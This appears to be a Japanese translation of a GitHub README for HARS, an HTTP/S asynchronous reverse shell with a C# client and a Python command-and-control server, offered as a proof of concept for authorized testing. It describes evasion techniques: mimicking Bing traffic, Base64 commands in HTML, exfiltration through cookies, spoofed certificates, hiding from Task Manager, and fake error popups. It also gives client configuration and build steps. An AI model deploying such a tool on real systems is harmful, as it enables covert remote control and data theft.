HTTP/S 非同期リバースシェル

バナー

✨ はじめに

IDS、IPS、EDR、AV、ファイアウォールといった高度な検知システムが企業ネットワークを支配する時代において、オフェンシブセキュリティアセスメント中にそれらを回避することは課題です。ほとんどのリバースシェルはTCPトンネル（L4）を利用しており、現在では日常的に分析されフラグが立てられています。

このプロジェクトは革新的なソリューションを提供します: 正規のユーザー行動を模倣することで通常のWebトラフィックに溶け込む、HTTP/S上の完全非同期リバースシェルです。

従来のリバースシェルとは異なり、GETリクエストのみを使用し、通常のWebクエリとして見え、オプションで偽の正当な証明書を使用したHTTPSで実行でき、検出の可能性を最小限に抑えます。

仕組み

クライアントアプリがターゲットマシン上で実行されます。
クライアントがサーバーとの接続を開始します。
サーバーが接続を受け入れます - その後：

クライアントは指示を受け取るまでサーバーに問い合わせます。
攻撃者がサーバーに指示を提供します。
コマンドが定義されると、クライアントはそれを実行し結果を返します。
そしてこれを繰り返し、攻撃者がセッションを終了するまで続きます。

免責事項

このツールは、許可されたセキュリティテストのための概念実証デモツールとしてのみ意図されています。このツールを実行する前に現地の法律をご確認ください。

🔧 機能

現時点では、PoCとして以下の機能が実装されています:

ステルスなGETのみの通信。
Bing.comトラフィックの模倣。
HTML内のBase64エンコードされたコマンド。
HTTPクッキーによるデータ流出。
偽装証明書によるオプションのHTTPS。
リクエストごとのランダムな遅延とテンプレート。
EDR回避のための単一PowerShellプロセスの再利用。
CMDおよびPowerShellコマンドとの互換性。
オプションの偽のエラーメッセージポップアップ。
タスクマネージャーから隠蔽。
オプションの管理者権限実行。

🎥 デモ

クライアント側

サーバー側

⚙️ 設定

クライアント (C#)

Visual Studio で HARS.sln を開きます。
環境に合わせて Config.cs を編集します:

    class Config
        {
            /* Behavior */
            // Display a fake error msg at startup
            public static bool DisplayErrorMsg = true;
            // Title of fake error msg
            public static string ErrorMsgTitle = "This application could not be started.";
            // Description of fake error msg
            public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
            // Min delay between the client calls
            public static int MinDelay = 2;
            // Max delay between the client calls
            public static int MaxDelay = 5;
            // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
            public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
            /* Listener */
            // Hostname/IP of C&C server
            public static string Server = "https://127.0.0.1";
            // Listening port of C&C server
            public static string Port = "443";
            // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
            public static bool AllowInsecureCertificate = true;
        }

オプション: HARS.manifest を編集して権限レベルを調整します。

requestedExecutionLevel は asInvoker、highestAvailable、または requireAdministrator に設定できます。

プロジェクトのプロパティ

ここではアセンブリ情報とファイルのアイコンをカスタマイズできます。

注: ターゲットの.NET Frameworkバージョンは4.6に設定されており、これはWindows 10でデフォルトで利用可能です。
Windows 7の場合は、不足している機能をインストールしたくない場合は.NET 3.5を選択してください。

ビルド

Visual Studioからプロジェクトをビルドします。クライアントは Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release フォルダに生成されます。

完了!

サーバー (Python)

HARS_Server/www/ 内の HARS_Server.py を編集してポートまたは証明書パスをカスタマイズします。

PORT = 443
CERT_FILE = '../server.pem'

以下のコマンドで実行:

python HARS_Server.py

注意点

-HTTPログは Http Asynchronous Reverse Shell\HARS_Server\logs にあります。
-独自のテンプレート（任意のHTMLページ）を Http Asynchronous Reverse Shell\HARS_Server\templates に追加できます。

🔗 参考資料

@onSec-fr

人気

Http-Asynchronous-Reverse-Shell